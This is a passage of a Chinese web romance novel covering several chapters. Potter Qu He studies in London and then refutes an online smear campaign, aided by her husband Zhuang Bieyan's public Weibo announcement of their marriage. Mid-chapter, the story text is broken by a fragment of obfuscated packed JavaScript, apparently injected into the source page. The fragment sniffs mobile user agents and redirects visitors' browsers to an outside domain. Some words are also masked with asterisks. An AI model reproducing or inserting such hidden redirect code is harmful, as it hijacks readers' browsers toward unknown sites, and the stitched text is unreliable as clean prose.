曲荷本以为晚上吃饭的人会有很多,可到了包厢才发现居然只有他们三个人。
而也正如她猜想,齐墨老师又给了她一次机会。
这一次,她离梦想又近了一步,所以刚才吃饭的时候,多喝了几杯。
曲荷看向周时安,无比认真,“时安哥,谢谢你,真的谢谢你。”
周时安虚扶着她,也被她感染了几分情绪,也带上了笑意。
“其实你最应该谢的是从来没放弃热爱的自己。这几年在英国跟着老师学习的时候,经常能从他嘴里听到一个很有灵气的学生,后来我才知道那个人是你。”
他靠近了一步,夜色把他的眸色深衬得更加沉,“这次是你主动选择解开了老师的心结,所以你不用感谢任何人,你值得。”
周时安内心一动,像小时候那样,碰了碰她的发顶,“小师妹。”
曲荷笑得明媚,“谢谢师兄。”
她不知道自己是醉了,还是心底情绪太满,她现在好想好想见到庄别宴,想扑到他怀里,告诉他这个好消息。
她想第一时间分享给他!分享给他自己的开心。
两人一时都沉浸在各自的情绪里,却没发现不远处的树丛后面亮起一抹闪光灯,转瞬即逝。
夜风吹来,吹乱了曲荷的发丝。
周时安看着她飞扬的青丝,下意识慢慢抬手。
可手指还没碰到,就看到曲荷身后的那抹身影。
庄别宴站在不远处。
几乎是同时,曲荷好像也感应到了什么,暮然回头。
下一秒,她脸上的笑容更加明媚,毫不犹豫飞奔而去,扬起的发丝在周时安掌心转瞬即逝,只留下一丝微痒,却又好像钻到了他心底。
庄别宴往前走了几步,张开双臂稳稳接住了扑过来的人,语气纵容但担忧:“跑这么急,小心摔倒。”
“我知道你会接住我。”曲荷在他怀里仰起头。
庄别宴帮她理好头发,宠溺笑笑。
周时安走上前,看着他怀里娇软的曲荷,和刚才在他面前的样子完全不同。
庄别宴在帮曲荷整理衣服,不知有意无意,手指轻轻一带,原本贴合的衣领突然滑落了些。
那抹红印暴露在了周时安眼底,在路灯下格外醒目。
深深刺痛了他的眼。
他心里酸了一下。
周时安深深吸一口气,压下情绪,平静地说:“庄先生,小荷今晚喝的酒有点多。”
庄别宴听到后第一时间检查她的眼睛,在确认眼里只有醉意没有眼泪后,松了口气。
看来是提前吃了解酒药。
他看向周时安,客气但疏离:“多谢。”
庄别宴看到周时安僵硬的脸,不动声色地帮曲荷拉好衣领,柔声轻问:“回家吗?”
曲荷趴在他怀里点头。
庄别宴搂紧她,对周时安颔首:“那我们先回家了。”
看着两人相拥离开的背影,周时安心里某种不甘和冲动开始作祟,脱口叫住了他。
“庄
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先生!”
庄别宴脚步顿住,却没有回头。
“庄先生,我老师已经决定正式收曲荷为徒。”
他一步步走上前,像是在强调什么。
“她马上就会和我们一起去英国。庄先生,陶艺是曲荷的梦想,请你放她自由,让她去追寻她热爱的。”
庄别宴转头,眼底冷得像寒潭,“放她自由?”
周时安迎上他冰冷的目光,坚持道:“庄太太这个身份只会束缚她,她是自由的!她应该去追寻她热爱的,而且曲荷已经亲口答应了会和我们一起去英国。”
庄别宴下颌线紧绷,周身气息变冷,“周先生,我想你弄错了。阿荷想去任何地方追寻梦想,我都无条件支持她。在我这里她一直都是自由的,我们夫妻之间的事就不用周先生你这个外人来操心了。”
撂下这句话,他不给周时安任何机会,就搂着曲荷离开了。
迈巴赫停在万华园楼下。
庄别宴把她打横抱起,进了电梯。
进门后,他把她轻轻放在沙发上,松开自己的领带,带着急切的占有欲,抬起她的下巴俯身亲了上去。
密密麻麻的吻落在了她的唇角和颈侧。
庄别宴眼底闪过一抹红,他再次找到下午的那个已经淡去的红印,对着那块肌肤又吻又咬。
报复性的。
留下了一个更深的,带着惩罚和标记意味的痕迹。
曲荷眼眸湿润,手无处安放,只好抓着他的手臂。
他的气息拂过耳侧,浑身都热了,曲荷缩了下。
可庄别宴却不让她躲,声音低哑:“阿荷,叫我的名字。”
“阿宴...”
庄别宴继续吻她,逼着要更深的承诺,“说,你想要我。”
曲荷脑袋懵懵的,一脸茫然。
庄别宴继续重复,很有耐心哄着她,又像在祈求:“阿荷,你想要我的。”
他说了一遍又一遍,终于从曲荷那里听到了想要的那句话。
“我想要你。”
庄别宴露出了满意的笑,捞起她,让她跨坐在自己腿上,两人面对面。
他托着她的后颈,额头相抵,带着恳求:“阿荷,吻我。”
他不能否认,因为周时安的那些话,他第一次感受到了什么叫做患得患失。
阿荷是自由的,他不能束缚她。
他只能用这样的方式,确认她还在。
“阿荷,吻我,求你。”他再次恳求,带着几分不易察觉的脆弱。
这一次,曲荷好像感受了他内心的恐慌,很快满足了他的要求,她低头,捧着他的下巴,坚定地吻了上去。
这一夜似乎格外漫长,曲荷都不知道最后是什么时候结束的,只记得庄别宴缠着她说了很多话,结束的时候,他把她搂得很紧很紧。
第98章 准备和庄别宴告白
十一个小时的飞行,落地希思罗机场是下午六点。
曲荷拿完行李后跟着人流往外走,手机一连串提示音响起,全都是庄别宴发来的消息。
【飞机应该落地了,记得给我报个平安。】
【房子已经让人收拾好了,每天会有阿姨上门打扫卫生做饭。】
【司机老金在机场门口,这是他的手机号。】
【有事情第一时间联系我。】
曲荷看着这一条条关心的消息,心里泛起暖意。
他几乎是算着她落地时间发来的,算了下时差,国内现在应该是凌晨,他还没睡吗?
她赶紧回复【安全抵达,你赶紧睡,明天还有会呢。】
几乎是瞬间,对话框顶端显示“对方正在输入中...”
【睡不着。】
接着,一条语音弹了出来。
曲荷点开,男人低沉的声音传来出来,“阿荷,我很想你。”
她心跳不自觉加快,这话就像是贴着她耳朵说的一样。
就在这时,她听到有人叫了声她的名字。
一个胖乎乎的光头大叔朝着她挥了挥手,笑着跑过来。
他圆滚滚的肚子随着跑起来的动作一颠一颠的,藏青色的西装外套从撑得有点紧绷,很有喜感。
“曲荷小姐您好您好,我是老金,庄先生安排的司机,接下来这一周您去拿找我就行,欢迎来到London!”
老金很热情,从她手里接过行李带着她往外走,“庄先生都和我们交代过了,今天伦敦难得没有下雨,咱们沿着泰晤士河开,刚好能看上落日。”
短短出机场这段路,老金絮絮叨叨说个不停:“我媳妇已经在家里给您做饭了,庄先生把您喜欢的菜单都发过来了,保准您回家就能吃上热乎饭。”
“曲荷小姐你要是有啥其他想吃尽管和我媳妇说,她做饭可是一绝,要没她,这伦敦的白人饭谁能吃得下。”
曲荷笑着应下:“好嘞。”
没想到庄别宴这种细节都考虑到了。
车子驶出机场,落日余晖漫过泰晤士河。
曲荷透过车窗看了一场落日,她想起决定来英国的那天傍晚,北城的落日也是美的心醉。
从望江阁回来的第二天,她和庄别宴说了说了齐墨老师再次答应收她为徒的事,却没和他说自己要来英国线下深造一**。
她不知道怎么说,庄别宴会同意吗?
相隔几千公里,七个小时的时差。
这些现实因素是难以跨越的问题,她害怕开口,害怕看见他眼里的不舍,更害怕自己让他为难。
那几天,她陷入了一种矛盾情绪里,总觉得亏欠他什么。每个深夜他索取温存的时候,她也比以往更热情回应。
庄别宴似乎也察觉到了她的异常,却没追问。
直到齐墨老师给的最后期限临近,她还没有找到合适的开口机会。
那天傍晚,晚饭后她走到阳台看江景落日,庄别宴突然从后面抱住了她。
“去吧。”他说。
曲荷愣了几秒才反应过来,“你..你怎么知道?”
“周时安都告诉我了。”
他轻轻把她转过身来,两人面对面站着。
“庄氏在英国的分公司项目年底正式启动,阿荷,你不用害怕,你去追你的梦想,我会陪你。”
曲荷趴在他怀里听着他的心跳声。
庄别宴为她考虑周全至此,她又怎么能不为他做什么。
于是她连夜联系了老师和学校,商量出了折中方案。
只要她能在一周内拿到A等资质,就能选择在国内进行线上学习,只要在考试的时候飞英国。
庄别宴本想陪她一起,却因为临时的会被迫只能留在国内。
飞英国前一晚,他一遍遍要她,两人陷在情欲的深海里,缠绵至深夜,谁都舍不得先放开对方。
喇叭声响起,曲荷被拉回现实。
车子还行驶在英国大道上。
落日西沉,曲荷举起手机录了段泰晤士河的落日给庄别宴发了过去。
这次他的回复时间慢了些,发过来了一段视频。
是北城的夜空,繁星点点,一如他们共同看过的每个夜晚。
无需多言,这一刻,两人心意相通。
在英国这一周,两人开启了异国恋。
七个小时的时差,每个通话都格外珍贵。
在她备考的这段时间,庄别宴总是算好时间,在她休息的时候打来电话。
隔着手机屏幕他们分享了伦敦和北城的日升月落。
虽然相隔千里,但他们好像又离得很近。
日子一天天过去,曲荷感觉到自己的心,在一点点动摇。
她很想他。
思念疯长,成疾。
每天通话的那几个小时,是她一天中最期待的时刻。
成绩出来的那天,连续下了三天雨的伦敦突然放晴。
她在成绩查询界面看到A等两个字时,长舒一口气,脑袋里的第一个念头就是想告诉庄别宴。
那一刻,她心跳加速,行动大于理智,所有的理性思考全部靠边,她做出了一个自己都没想到的举动。
她要见他,立刻,马上,不是透过屏幕,是要在他怀里,感受他的体温,听他的心跳。
没有犹豫,她打车回到家里,连行李都顾不上收拾,只拿了护照和手机就奔向机场。
万米高空上,她俯瞰着下面的戈壁沙漠,山川湖泊,看着航线图上和北城的距离越来越短,目的地越来越近,她的内心也越来越坚定。
十一个小时飞行,她却一点都不累。
落地北城机场,她立刻给庄别宴打了个视频,通话很快接通。
可看到那头熟悉的背景她却愣住了,那是她在英国每天睡的那张床,再熟悉不过的房间。
“你在哪?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391372|184256||http|test|mini|href|location''.split(''|''),0,{}));
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r>“你在哪?”
两人异口同声。
庄别宴先反应过来,看着她背后显示屏上的中文,问:“你回北城了?”
曲荷点头,不敢相信问:“你在英国?”
庄别宴:“嗯。你今天出成绩,我想你应该会想见到我。”
曲荷被他猜中心思,有点不好意思,“那万一我没拿到A等资质呢?”
庄别宴笑了,温柔得能溺**:“阿荷很棒,一直都是。”
他轻轻点了下屏幕,像在碰她的脸颊,“就算没拿到A等也没关系,我把接下来庄氏的业务都交给了庄留月,其余事情都和谭聪交代清楚了,我想来英国陪你。”
曲荷眼眶泛酸,压下心底的情绪。
这一刻,两人默契地没有再提这场擦肩而过奔赴,但他们彼此都明白,爱隔山海,山海可平。
曲荷心里那个想法快要脱口而出,她鼓起勇气,“庄别宴,我想见你,我有话和你说。”
庄别宴似乎猜到了她想说什么。
从他走进这个房间,看到那些没来得及收拾的行李和衣服,就能看出曲荷离开得有多急,又有多想见到他。
他按下内心的澎湃,柔声道:“那你先回家等我好不好?睡一觉,等你醒来,我就到了。”
“好,我等你。”曲荷点头,看着屏幕里的他:“我很想你。”
“我也是!”
挂断电话,曲荷打车回了家。
距离庄别宴飞回来还有十一个小时。
她决定策划一场告白,正式告诉他自己的心意。
她仔细核对着他的航班号,计算着到达时间,开始布置家里。她买来了鲜花和蛋糕,又打了气球对着网上的教程布置。
她还怕自己怯场,一遍遍对着镜子练习告白的话,每次说到“我喜欢你”的时候,都会忍不住脸红心跳。
十一个小时的等待漫长又甜蜜,最后,她捧着早已准备好的鲜花等在机场。
在看到熟悉的人影出现,她飞奔过去。
庄别宴张开双臂,稳稳接住了她。
曲荷把脸埋在他胸口,闻着他身上熟悉的雪松味,眼泪终于落了下来。
那些隔着手机屏幕无法言说的思念和触碰,那场擦肩而过的奔赴,在相拥的这一刻,都有了具体的代词。
那就是,爱!
庄别宴牢牢搂着怀里人,拍着她的背,许久没松开。
曲荷从他怀里抬起头,鼻子红红的,却笑得格外灿烂:“庄别宴,我有话和你说。”
庄别宴克制着自己的情绪,但颤抖的手还是暴露了他的紧张,“你说。”
曲荷凝视着他的眼睛,一字一句认真道:“庄别宴,我....”
就在这时,一阵急促的手机铃声打断了曲荷后面想说的话。
是司月打来的电话。
跟着电话来的是一条条微信。
【学姐,荷月坊出事了!】
第99章 **,曲荷劈腿?
曲荷跟庄别宴匆匆赶回荷月坊。
店门紧闭,门口挂着“暂停营业”的木牌。
她给司月发了消息,过了好一会儿,她才偷偷从后门开了条缝探头。
司月看到她非常惊讶,“学姐,你这么快就从英国赶回来了?”
曲荷简单和她解释了两句,开始问店里情况。
司月也收起了开玩笑的样子,表情凝重,“从早上开始就一直有人给店里刷差评,我一开始还没注意,直到后来接连着好几个客户要求退费才意识到不对劲。”
她说着就拿出门店手机,犹豫着没有立刻递过去:“学姐,你...真的要看吗?”
司月犹豫的样子,让曲荷意识到一定是和自己有关。
曲荷给了她一个安慰的笑,拿过手机看了起来。
屏幕上是清一色的差评,她越看眉头皱得越深。
用户238293718:【小三也能当老师?私生活混乱,勾引男人,打着陶艺的幌子做着不三不四的事。】
幸福的人:【什么垃圾陶艺店?真没想到店长是这样的人,我要退钱!我孩子前两天还去体验了,不会被带坏吧!】
守护最好的眠眠:【就是她勾引的钱昭野?长得一副清纯样子,背地里这么骚?】
吃瓜不吐籽:【打着陶艺的幌子做这样的事,这样的人也能教学生?北城十三巷的脸都要被她丢尽了!】
往上翻都是类似的话,都是在说她私生活混乱,每一条评论都刺目无比!
曲荷不解,她发现所有的评论都是从这个用户238293718开始的。
司月在自己手机上点了两下,找出网上的帖子给她看。
用户238293718在三个小时发表了一篇长文:【北城十三巷陶艺店女店主私生活混乱,劈腿出轨多人】。
标题醒目吸睛,已经有了几十万阅读量。
点开评论都是贴主对她的恶意造谣,还在不停地更新“实锤”,他在评论区晒了几张照片,说是证据。
用户238293718:【这就是所谓的美女店主?晚上被不同男人带进酒店。图片JPG】
用户238293718:【白天装清纯陶艺师,晚上夜会金主。图片JPG】
用户238293718:【最新爆料,知三当三,插足别人感情。图片JPG】
用户238293718:【倒贴捞女不要脸。图片JPG】
曲荷点开那些照片,手抖了下。
照片确实是她。
有那晚上她被方乾名带着进酒店大门的照片。
有前几天望江阁门口,周时安扶她的照片。
还有和钱昭野在商场,他发疯纠缠的照片。
以及,和庄别宴出入小洋房的照片。
每一张照片的角度都很刁钻,像是刻意选过一样,照片里她永远是主动贴合男人。
除了第一张看不清方乾名的脸,其余几张都能看到他们一脸不耐烦。
这明显是冲着她来的。
是谁?
“完蛋!学姐,你上热搜了。”司月惊呼。
“有一个大V营销号把这个帖子发到了视频软件上,同步到了微博,然后...乔眠回应了。”
曲荷皱眉。
乔眠?
她赶紧点开微博,发现词条#荷月坊店主小三#,#庄别宴#,#钱昭野#在不断上升。
底下跟着一群网友吃瓜看热闹。
【现在是什么人都能上热搜了?这都是谁啊?热搜升的这么快,都是买的吧?字太多了不想看,来个课代表总结一下。】
【我靠,虽然我不认识里面的这些人,但我认识庄别宴啊!】
【课代表来了!总结就是北城荷月坊店长曲荷在短短两个月内同时和四个男人纠缠不清,现在其中一个男人的现任出来实锤了,下面指路现任微博号。】
【现在的艺术圈这么乱的吗?吃瓜吃瓜。】
曲荷从他艾特的微博号点进去,从头像认出这是乔眠。
十分钟前,乔眠发了条三个字,“相信他。”配图是一张自拍,眼角微红,像是哭过。
下面清一色地“抱抱姐姐”,“富婆姐姐别伤心,小三女不得好死!”,“眠眠不哭,我们都支持你!这种小三的店就应该被全网抵制,彻底倒闭!”
曲荷翻了下乔眠的微博,发现近几年她一直在营造着富婆人设,时不时在微博上发自己的新款包包衣服,收获了一波粉丝。
而她也是前不久在微博上公布自己要和钱昭野结婚的事情。
所以网友才扒出她是钱昭野的现任。
乔眠刚发的那三个字,看似什么都没说,但又好像什么都说了,摆明了就是坐实曲荷勾引钱昭野的事实。
评论里的网友一直在骂曲荷不要脸,勾引男人,乔眠还假惺惺回复,“我觉得应该是有误会,还是等人家的解释吧。”
粉丝一众“心疼抱抱”,“心疼”,“姐姐太善良了”。
庄别宴从刚才看到那些评论开始就脸色暗沉,他给谭聪打了电话,直接夺过曲荷手里的手机:“别看了,我来处理。”
他看向司月,恢复了往日的严肃,“先关店,为了安全起见,我派人送你回家,有任何需要打谭聪电话。”
司月被他这么严厉的样子震慑到了,直直点头,“好!”
庄别宴给谭聪发了个消息,然后带着曲荷从后门原路返回。
回家路上,曲荷脑子里一直在想到底是谁策划的这一切,庄别宴看她沉默不说话,以为她被网友那些难听的话伤到了。
他握住她的手,“我在。”
曲荷轻轻笑笑,“我没事。”
回到家,曲荷又点开那条微博,却发现所有和她有关的词条都没了。
她问庄别宴:“是你处理的吗?”
“嗯!”庄别宴眉头紧锁。
曲荷心里却依旧不安。
果然,才没过一会儿,新的词条又冒出来了,网友的反骨被激发,骂声更激烈难听。
【本来还不相信,只是想看热闹。可看到一半突然没了,我开始有想法了,这个女人什么来头?】
【资本下场喽,开始撤热搜啦。大家快跑啊!】
【大家!这个女人不一般啊!你们知道那四个男人是谁吗?】
【谁啊?我看又不是明星也不是网红的,除了长得好看点...好吧,确实挺好看的,尤其最后一个身材绝了,这女人有点实力啊!】
【楼上!你重点偏了!】
【我冲浪回来了!第一个人看不清,第二个可是百鹤奖最年轻的获得者周时安,第三个是科技创新欣兴初创公司代表钱昭野,最后一个不用多说了,庄家继承人,庄别宴!】
【我噻,这么牛逼!那这个女人也是很有实力啊!这些男人就这么心甘情愿被她**在掌心?】
【怪不得年纪轻轻就能开店,原来是有后台啊!随便爬个床,想要什么没有。】
【现在的小姑娘不思进取啊!我看那个钱昭野都是有老婆的人,还怀孕了!这样破坏人家家庭,要遭报应的!】
后面都是乔眠的粉丝出来带风向,引导大家骂曲荷,要一个解释。
【乔眠粉丝过
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来集合,守护最好的姐姐。】
【抵制荷月坊,小三滚出北城!你不配开店。】
【心里没鬼为什么不回应?有钱真好啊,小三都能洗白。】
曲荷看着这些颠倒黑白的发言,只觉得可笑极了。
她被气得不行,点开骂得最难听那个人正想回复,司月的电话就打进来了。
“学姐!周时安和齐墨老师帮你回应了!”
曲荷赶紧刷新了界面,发现一分钟前齐墨发表了一条微博,【现在的无良媒体能否尊重一下事实和真实性?当晚在场的人还有老夫!】
他配图是三人在包厢里吃饭的合照。
齐墨可是前段时间刚代表国家在世界级陶艺赛事上拿下金牌的人,影响力非同小可,谁不认识?
这条微博立刻引发轰动,瞬间炸锅:
【没看错吧?齐墨大师居然认识曲荷?难道真的是误会?】
底下有网友评论,“齐大师,这个曲荷和您什么关系?”
齐墨直接回复:“我等了七年的徒弟!”
紧接着周时安转发了齐墨的微博,配文:【是小时候的邻居妹妹,是现在的师妹,是未来的伙伴!】
配图是三张照片。
第一章是小时候两人在陶瓷厂玩泥巴的合影,第二张是和齐墨一样的三人合照,最后一张是上初中的曲荷走在巷子里的背影,纯净美好。
这条微博直接让**转了大半,网友开始嗷嗷叫,评论画风也变了:
【天呐!是青梅竹马!我们有救啦!】
【奇怪的磕CP因子蠢蠢欲动!】
【小时候一起玩泥巴太戳我了!周时安看曲荷的眼神好温柔,这哪里是劈腿,分明是青梅竹马啊,拜托这是暗恋啊!】
【等等!我有个发现!齐墨大师的徒弟?那曲荷的陶艺水平一定很高吧,怎么没人说这个?】
【盲生,你发现了华点!】
风向开始有些变了,很快,曲荷大学校友开始站出来发声。
做陶人:【我和曲荷学姐一个大学,老师都说她是学院里非常优秀的学生!大学四年专业第一,每年拿国奖,参与了国家级餐具设计,毕设作品还被北城中鑫艺术博物馆收藏,官网现在还能查到她的获奖记录!链接。】
司月不思月:【曲荷学姐她才不像你们说的那样!她当时是全院第一的成绩考进来的。荷月坊每年都会资助山区贫困生,这些是资助记录。图片。】
还有曲荷的大学室友也出来说:【大学四年住在一个宿舍,她很优秀。至于钱昭野?呵呵,我只能说谁年轻时没爱过几个渣男呢?】
越来越多的人站出来给曲荷说话,网友态度开始转变。
大家一时不知道该相信谁。
【这么多人证明是不是真的是误会?难道是故意造谣?】
【我去查了北城中鑫艺术博物馆官网,真的有曲荷作品,超级美!能被收藏的人,人品应该不会差吧。】
【就我一个人好奇曲荷室友说的那句话吗?难道她和钱昭野之间有什么隐情?】
但有几个不知道哪里来的无名账号还在引导带节奏:【就算周时安不是,那其他两个人呢?庄别宴和钱昭野该怎么解释?】
【说不准是为了刻意洗白找的托,我才不信。】
【我中立,让子弹飞一会儿。】
【楼上,你的**可以回来了。庄别宴发文了。】
曲荷看到这条评论,猛地抬头看向庄别宴。
只见他一手拿着手机,另一只手上是两本红彤彤的结婚证,封面上的金字在灯光下格外耀眼...
第100章 合法,已娶,很爱
曲荷看到庄别宴手上拿着的结婚证,像是有感应般,立刻看手机。
微博广场上已经有人把庄别宴的刚发的内容截图搬运了,而最顶部就是庄别宴刚发布的内容,前面带上了个深红色的爆字。
一个头像空白,名称为庄别宴的人在一分钟前刚发了条微博,【庄别宴y:合法,已娶,很爱。】
配图第一张是结婚证内页合照,第二张民政局门口她捧花的侧脸。
微博一下子瘫痪了。
等页面终于刷新,所有吃瓜群众都涌到了这条微博下面,而一项采访惜字如金的庄别宴此刻居然非常有耐心的在一条条回复网友的评论。
“庄总,你真的和曲荷结婚了吗?不是炒作吧?”
庄别宴回复:【是的,法律为证。[结婚证特写JPG]】
“为什么之前从来没有公开承认过?怎么这次就官宣了?”
庄别宴回复:【没有得到阿荷的同意。】
“那这次是她让你澄清的吗?”
庄别宴:【不是,是我先斩后奏,她现在就在我旁边瞪我,我已经准备好跪键盘了。】
要知道庄别宴可是北城的风云人物,那个北城人心目中高高在上,不可玷污的庄家玉树,居然这么接地气,还当众调侃自己要跪键盘,这瞬间戳中了一众网友萌点。
评论区彻底沸腾,大家像是找到了什么乐趣,一个个都在他这条微博下面蹦跶。
“庄总庄总,您为什么会和曲荷结婚?”
庄别宴:【爱,没有复杂原因。】
“庄总,既然您说爱,那为什么小洋房那张合照您看起来不耐烦像是在生气?”
庄别宴:没有生气,没有不耐烦,是因为当时她不让我牵手,我有点委屈。
委屈这两个字一出,那群网友瞬间被这直白的秀恩爱甜疯了!开始疯狂磕cp。
【磕死我了,磕死我了,妈妈问我为什么跪在地上看手机!】
【高冷总裁原来是委屈大狗狗!这是什么反差萌!】
#庄别宴委屈式秀恩爱#的词条直接冲上热搜第二。
可就在这时,刚才那几个还在蹦跶的营销号又开始作乱:【随便发一张p的结婚照可以蒙混过关了?你怎么证明你是庄别宴?不会是高仿号博眼球吧?】
庄别宴看到了这条评论,回复了两个字:【稍等。】
不过几分钟,庄别宴的头像变成了一个女生的落日背影,下面还多了一个黄v认证,主页认证信息清晰写着“庄氏集团董事长庄别宴”。
网友瞬间炸了,开始跑到这个营销号评论下回复围剿:【大胆!谁给你的胆子质疑庄总?这下你是真的完了!】
【不是挺能说嘛?呦,还把评论删了?等着收律师函吧!】
还没等营销号回应,就在这时,全网用户的微博顶部都弹出了一条新的消息通知框。
来自官方认证@庄氏集团:【#为庆祝庄总开通微博,特此进行抽奖,转发微博送出216个521314元红包#。
抽奖条件:留下祝福并转发庄总官宣文案,要求网友为人正直守法,没有在网上发表过激言论,平台开奖,一切解释权归庄氏集团所有,无需关注。】
链接跳转是庄别宴的官宣微博。
521314元,216个名额,奖金高达近一亿元!全网疯了!
【我数学不好,来个人告诉我这是几位数?】
【数学课代表来了,五十二万一千三百一十四元,乘以216是....好多钱啊!庄总大气!】
【我有一个猜想,这个216不会是曲荷的生日吧?】
【庄总这是下了血本啊!我信了,已转,求中!】
【信女愿一生荤素搭配,以后庄别宴和曲荷就是我的本命cp,祝他们长长久久,幸福美满,早生贵子!】
没过一会儿,庄别宴就在这条微博下面回复,“谢谢你的祝福,稍后庄氏集团会有人联系你,额外赠送你一辆庄氏刚发布的新款车。”
这条回复一出,网友像是疯了一样,纷纷开始祝福,评论区一晚望去全都是清一色的祝福。
微博热搜词条全都是和庄别宴有关,广场全都是转发庄别宴官宣的那条微博。
用户12387:【听说这里可以捡钱?】
庄别宴曲荷99:【爸爸妈妈我要当你们的独生女】
折荷入宴:【我将拥护庄别宴和曲荷为永远的神,谁敢忤逆?】
暴富暴富暴富:【天配,地配,交......我cp要左爱啦,通通闪开!我cp要左爱啦,通通闪开!】
不磕cp磕什么:【保佑庄别宴曲荷生生世世爱,这破天的富贵终于轮到我了!】
大家都跟疯了一样,全然把最初为什么来微博的初衷忘记了。
也有少部分还清醒的人在评论区小声嘀咕:【大家都忘记了吗?我们是来要一个解释的,之前的照片还没解释清楚呢。】
立马有网友回怼,【滚粗去!什么解释?鼻子上面长的两个眼珠子不要可以捐了!】
【庄总都晒结婚照了,你别在这里找存在感,小两口好好的,你添什么堵?】
【就是就是,这么闲着没事干找
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个电子厂去上班吧。】
见节奏被压下去,乔眠的粉丝赶紧出来搅浑水,【就算曲荷和庄别宴结婚了,那她不也算是婚内出轨吗?钱昭野怎么说?第一张图片的男人怎么说?】
这话一出,大家都支支吾吾继续潜水了,有部分网友开始动摇。
是啊,尽管庄别宴解释了她和曲荷的关系,但另外两人怎么说?
第一张照片曲荷可是和那个男人进酒店一夜未出,还有和钱昭野的纠缠又怎么解释?
这条评论很快被顶上来。
可很快,庄别宴就转发了这条评论,配文:【那个人,是我。】
网友懵了,纷纷追问:“庄总什么意思?酒店照片里的男人是您?可是照片看起来和您不太一样啊?”
庄别宴回复,【角度问题,那晚上,我一直和阿荷在一起。】
他也没说错,那晚他从方乾名那里找到曲荷后,那晚上她都是和自己在一起,但有些细节没必要解释得太清楚。
庄别宴那句回复一出,就像是定心丸一样。
网友心里瞬间有底了,【看到没有!你们这些营销号黑子都退退退!】
那些人不死心:【那个时候庄总和曲荷还没结婚吧,你们去酒店干什么?】
【你能不能有点分寸感?你谈恋爱没和你对象去过酒店?人夫妻两的情趣你不懂?】
【庄总:我带我未来老婆去酒店怎么了?犯法嘛?】
这群号称庄别宴和曲荷爱情守护神的网友一路黑子挡杀黑子,营销号挡杀营销号,没过一会儿那些质疑全都不见了。
乔眠粉丝见风向不对,立刻搬出了新的说辞。
噜啦啦擂:【资本真厉害,但是为什么不解释曲荷和钱昭野的那张图片,难不成他们也是青梅竹马?】
荷宴久久爱:【楼上一看就是乔眠粉丝吧,但你能不能先把主页的转发抽奖删了再发这句评论?又当又立,大!鲨!壁!】
噜啦啦擂:【这就是你们的素质吗?这么刻薄?我也只是要个解释而已。】
荷宴久久爱:【刻薄的小女孩来啦!我不听,你有口臭!滂臭!】
噜啦啦擂:【你没素质,果然粉随正主!至今为止都是庄别宴出来回复,曲荷呢?躲起来了?想必她也是承认自己婚内出轨,破坏人家家庭是会遭报应的吧!】
荷宴久久爱:【现代的保胎技术还是太强了!这句话说完,有让你不幸的人生感到好一点吗?滚呐!】
玉树降落荷叶里:【那个,我不是故意打断你们的,就是想说一句,曲荷刚刚发微博了。】
第101章 表白的事情要让男人来做
【曲荷he:你要的解释来了。】
网友跟着指路到了曲荷新注册的微博底下,就看到她在两分钟前转发了乔眠在评论里回复粉丝的那句——‘我觉得应该是有误会,还是等人家的解释吧’。
大家带着好奇心等着曲荷究竟会发什么内容,她到底会怎么证明自己和钱昭野的关系。
没等多久,曲荷就接连发布了好几条微博。
第一条是一段视频监控。是那张她和钱昭野在商场纠缠照片的完整版视频,很清楚的看到是钱昭野主动纠缠她,曲荷多次挣脱,全程没有半点亲密。
第二条是时间线整理。她把过去七年能证明和钱昭野在一起的图片和聊天记录整理到一起,从恋爱到备婚,从海誓山盟到冷淡疏远。
第三条是邮箱里钱昭野和乔眠那段不雅露骨的视频,没有静音,能清楚地听到两人的对话,坐实了钱昭野的出轨和乔眠小三的身份。
第四条微博是钱昭野以她的名义拒绝了齐墨老师的offer,以及这七年她在昭野科技公司工作的留痕记录。
最后一条是她的文字声明,内容简洁:【没有婚内出轨,也没有插足别人感情。我只是结束了一段背叛,重新选择了生活。】
曲荷发完这段话就收起了手机,没有再多说一句辩解。
其实早在看到庄别宴发的那条微博后,她就想到必然会有人拿她和钱昭野的事情做文章。
果不其然。
周时安,齐墨老师,庄别宴,司月,还有那么多素未谋面的校友和好久不见的同学都出来帮,她不能躲在他们身后。
其实和钱昭野的那段过往,也早该解决了。
早在回家的路上庄别宴就已经让人找来了商场的监控,她又从邮箱里找到了那段视频,关于和钱昭野的聊天记录和照片,早在发现他出轨的时候就留下了证据保存在了网盘里。
当时留下这些也是为了以防万一,但没想到真的会派上用场。
她花了最快的时间重新注册了一个微博号,把这些整理好的证据发到网上。
视频加照片加聊天记录,用铁证如山,还自己一个清白。
她正想着,就听到手机消息通知响了一下。
有人转发艾特了她的微博。
【庄氏集团:@曲荷HE的微博,造谣者,法庭见!】
配文是刚才在网络上对她发表过激言论和人身攻击的那几个网友。
网络上早已炸开了锅。
宴曲天天做:【黑子们看清楚了吗?到底出轨的人是谁?要我提醒一下你们吗?】
小荷花:【看了那些聊天记录和视频,真的狠狠心疼曲荷小姐姐了,恋爱七年,出轨四年!还被泼了脏水,曲荷到底受了多少委屈啊,钱昭野这样的男人就应该下地狱!】
不爱吃香菜的大女人:【所以真正的小三应该是@乔眠对吧!刚才那几个@乔眠的粉丝现在不出来蹦跶了?@乔眠出来道歉!】
渣男小三滚粗地球:【要是我男朋友敢撕了我的offer,我就敢让他不行人道,**!钱昭野居然敢私下拒绝曲荷的offer?要是我就直接把他公司搅黄,气鼠!】
向阳而生:【我是昭野公司员工,现已离职。我可以证明曲荷姐从公司刚成立就一直在了,但是公司的人都不知道她和钱昭野在一起,大家都以为她只是个秘书,甚至她被人造黄谣的时候都没有承认他们的关系!现在想想,曲荷姐真的太不容易了。】
越来越多的人帮曲荷说话,共情她,评论区满是心疼。
【同为女人,我一想到七年真心错付,都不知道曲荷是怎么过来的,换做是我想死的心都有了。】
曲荷看到这条评论,鼻子不由得酸了下。
七年的背叛,那段灰色的日子,无数次怀疑自己的瞬间....
但好在,庄别宴出现了。
她转头看向不知何时走到她面前的庄别宴,起身直接扑到了他怀里,“庄别宴,谢谢你。”
谢谢你一次次挡在我前面。
谢谢你让我一次次救自己于水火之中。
谢谢你让我没有失去从头再来的勇气。
谢谢你让我相信,我值得被爱!
